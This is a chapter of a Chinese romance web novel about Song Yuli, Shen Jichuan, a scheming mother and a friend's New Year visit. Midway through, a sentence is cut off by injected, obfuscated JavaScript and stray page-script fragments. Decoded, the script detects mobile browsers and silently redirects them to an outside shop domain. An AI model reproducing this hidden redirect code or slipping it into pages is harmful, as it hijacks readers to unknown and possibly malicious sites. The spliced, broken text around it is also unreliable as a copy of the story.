“……”宋喻理被问的莫名其妙,继续道:“这不都是你吗?”
“不一样。”
宋喻理:“怎么就不一样了,不管是沈纪川还是江序,难道不都是你吗?”
“我不管,你必须选一个出来。”
“不选。”
沈纪川离开宋喻理的颈窝,站直了身体,又问了一遍:“你确定不选?”
“不选。”宋喻理也再次肯定,“明明就是同一个人。”
“那就别怪我不客气了。”
宋喻理没说话,等着他的下一步动作。
结果下一秒,沈纪川张口就来,他说:“我知道你今天下午和方洁出来逛街,但是为什么还会有其他男人在?”
“我想,我需要一个解释。”
宋喻理大概愣了好几秒,“你怎么知道——”
话音刚落,她就察觉到不对劲儿,瞬间一个眼风扫了过去,“你调查我了?”
“我没有,我怎么可能做这种事儿。”沈纪川当即否定道,“是方洁她发了朋友圈,照片里有个异性。”
是谁说恋爱中的侦探只有女生,宋喻理看了眼沈纪川递过来手机上的照片,镜头只带到了陈宿不到三分之一的脸。
“这个我可以解释。”宋喻理说,“他是方洁的表弟,我们之间没有任何的交集,话都没怎么说过。”
沈纪川:“可是你们一起吃过饭。”
“不对,应该是相亲吧。”
别以为她上次和陈宿吃饭被他撞见的那件事已经过去了,根本不可能,那顿饭沈纪川可是一直记到现在。
他不提起来的话,宋喻理都要忘记这回事儿了。
沈纪川此刻端着证据确凿的架子,就差站在她面前双手叉腰了,一副坐等解释的姿态,看着好不神气。
宋喻理面无表情上下打量了他一番,沈纪川莫名被她的视线看得发毛。
仿佛一场无声无息的斗争,沈纪川眼看着就要败下阵来,只听宋喻理终于开口说道:“你这醋吃的没道理,那会儿我们还没在一起呢。”
她可不为没名分的醋负责。
沈纪川闻言瞬间仿佛霜打的茄子一般,彻底偃旗息鼓了。
“原来是这样的嘛。”沈纪川耷拉着脑袋,低声说着:“我还以为我们当时只是在吵架。”
因为他自始自终都没有想过他们会分开,八年前这样想,八年后也是。
宋喻理看着他,内心无声的叹息,沈纪川不愧是沈纪川,总是能让宋喻理对他产生别样的心绪。
“那次本来是我请方洁吃饭的,但是她非要给我介绍男朋友,于是就趁着饭局介绍了她表弟给我认识。”宋喻理缓缓的道,“况且当时陈宿也不知情。”
“我也没想到,就这么一次还让你撞见了。”
意料之外的解释让他感到惊喜,只见沈纪川原本还低着的脑袋瞬间“噌”的一下扬了起来,眼神也变得亮晶晶的,嘴角带着根本压不住的笑意,“真的吗?”
“嗯嗯。”宋喻理忍着笑点头回应。
不知不觉,他们在外面已经站了很久,宋喻理将手塞进羽绒服兜里,说:“沈纪川,我很冷。”
“那男朋友来抱抱。”说着,沈纪川张开双臂就将宋喻理拥进了怀中。
宋喻理整个人埋在他的胸膛,觉得有点好笑。
“……虽然你的怀抱也很暖和,但我现在想回家。”她说。
沈纪川不撒手,“再抱一分钟。”
外面天寒地冻的,沈纪川让她站在原地等着,自己跑去开车,然后美滋滋的载着女朋友回家。
车上,他其实还在纠结刚才的问题,只是没有再继续追问了。
他从江序到沈纪川,变化的可不止一点点,因此他不知道宋喻理会喜欢哪个他多一点,沈纪川拿不准。
宋喻理坐在副驾驶上,她靠着椅子背视线看向窗外,冬天街道上的商铺关门都早,平常这个时间街上都是灯火通明的,现在已经黑漆漆的一片了。
车里的温度适宜,宋喻理下意识的放空自己的脑子,任由注意力不断地被周边倒退的街景吸引。
“沈纪川,就快过年了。”她突然说道。
“嗯。”沈纪川回应,“这是我们在一起过得第一个新年。”
与此同时,江舒雅被沈纪川安排着送到了自己家,以防她再次逃跑生事端,沈纪川派了专人来看守。
江舒雅站在楼上,看着下面大门外站着的黑衣保镖,内心里很不是滋味。
她没想过被寄予厚望的儿子最后会反过来帮着外人来对付她。
江舒雅知道沈纪川肯定已经替她订好了返程的机票,但她不能就这么离开。
在阳台伫立良久,她拿起手机拨通了电话。
“地址我已经发过去了,别忘了你答应过我的事情。”江舒雅语气冷漠,即使隔着手机屏幕,那股子嫌弃劲儿都能被听的一清二楚。
要不是实在没办法了,不到万不得已的地步,江舒雅是不会和这种人产生任何交集的。
对面男人的嗓子里仿佛被人塞了棉花一般,说话声音既沙哑又无力,“忘不了的,你就放心吧。”
不等对面说完,江舒雅就率先挂断了电话。
她将手机扔回了沙发上,眼神嫌恶般的不想再去看一眼,似乎那是什么令人恶心的垃圾。
“纪川啊,既然你自己对自己的未来都不上心,那就别怨妈妈,妈妈也都是为你好,不能亲眼看着你误入歧途。”
江舒雅回到客厅,随手拿起柜子上沈纪川的相框仔细的擦拭着,语气森然,纵使深冬寒夜也不过如此。
新年前夕,李乐卉要回家陪父母了,临走之前特地来找了趟宋喻理。
她知道今年有人陪宋喻理过年,于是心情松快了许多,来得时候大包小包的带了许多吃的。
以前过年都是宋喻理一个人,要不就是李乐卉带着她回自己家,不过大多时候,还都是她一个人,李乐卉总是怕她孤单,但宋喻理却说早已经习惯了。
在很小的时候,宋喻理现在想来也没什么记忆了,那个时候新年应该还是一家三口在一起过的,后来母亲出走,父亲酗酒、家暴入狱,她就没再过过节日了。
“你来就来了,带这么多东西干嘛。”宋喻理从她手里接过购物袋,笑道:“你这是怕我在家里饿死吗?”
李乐卉吭哧吭哧的搬着东西,她指着其中一个大袋子,没好气的说:“知道你今年有人陪,这些是我爸妈前不久刚寄过来的,让我带给你。”
说完,她又指向另外一袋,继续道:“这袋是我在超
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17820873|207541||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
市给你买的年货,你都拿着吧,到时候也省得再去买了。”
李乐卉就是这样,平时看着好像很不着调的样子,但关键时候还是考虑的非常周到的。
看着她带来的沉甸甸的爱,宋喻理很是感动,她歪着脑袋靠在李乐卉的肩膀上,“谢谢你,乐卉。”
李乐卉耸了耸肩,“肉麻。”
“今年我就不邀请你和我一起回家过年了。”她说。
宋喻理点头,“代我给叔叔阿姨问好。”
“知道了。”
“今天下午的票吗?”宋喻理又问。
李乐卉:“对,我给你送完东西就打车直接去机场了。”
“那时间刚好,我送你去机场。”
“不用。”李乐卉说,“外面冷,你本来就畏寒,还是老老实实在家里待着吧,我打车一会儿就到了。”
宋喻理挑眉:“真的不用?”
“真的不用。”
“哦,对了,等过完年,我回来之后新店应该也就开业了,到时候记得来帮忙。”李乐卉打趣道,“别以为我这些东西都是白送的。”
宋喻理佯装正色,一本正经的回答:“保证随叫随到。”
李乐卉被她这动静逗笑了,“你这油嘴滑舌的劲儿是不是跟沈纪川学的?”
“有吗?”
李乐卉点头:“有。”
话音刚落,两人便相视一笑。
李乐卉没多停留,算着时间离开宋喻理家去了机场,她刚走后没多久,沈纪川就回来了。
“这些都是她买的?”沈纪川看着厨房里满地的食材和果蔬,问道。
宋喻理正在往冰箱里整理,李乐卉带来的东西太多,原本就空间不大的冰箱很快就被塞满了,宋喻理只能尽可能的让空间利用最大化。
“是啊,都是乐卉买的。”宋喻理边整理边说,“她刚走,你们没碰见吗?”
“没有。”
沈纪川视线还落在食物上,挽起袖子和宋喻理一起整理,李乐卉准备的太齐全了,沈纪川看着冰箱,嘴唇微抿。
她准备的实在是太全面了,沈纪川严重怀疑她是故意的,第一次和宋喻理过年,李乐卉是一点儿表现的机会都不给他留啊。
这手段,实在是太过分了。
“她是不是故意的?”沈纪川还是没忍住问出了声。
宋喻理回头,“你说什么?”
“她肯定是故意的,明明知道我和你住着还准备这么多东西过来,很明显就是在向我宣战!”沈纪川蹙眉道,“上次参加婚礼吃席的时候就是这样。”
别以为换了个招数,他就识破不了了。
宋喻理:“……”
“你想多了吧,幼稚鬼。”
“才没有。”沈纪川不承认,“还是说,我事后找简言撒气的事儿被她知道了?”
宋喻理听出了点儿不对劲,“你还找简言撒气?”
“那咋了,就算是前男友,那前女友犯错了也是要担责的。”沈纪川说的有理有据。
“……”
另一边,刚起飞的李乐卉打了一个超大的喷嚏,动静吸引到前面的空姐也朝她走了过来,低声询问道:“请问需要毛毯吗?女士。”
李乐卉揉了揉鼻子,说:“需要的,谢谢。”